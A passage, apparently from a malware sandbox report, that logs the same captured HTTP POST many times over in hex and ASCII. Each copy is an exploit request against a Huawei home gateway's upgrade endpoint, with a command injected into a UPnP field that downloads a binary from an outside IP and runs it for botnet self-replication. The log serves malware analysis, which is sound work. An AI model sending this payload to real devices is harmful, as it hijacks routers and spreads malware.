5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.55 -l /tmp/.oxy -r /xd_/cyber-mpsl; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 465Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 78 64 5f 2f 63 79 62 65 72 2d 6d 70 73 6c 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope 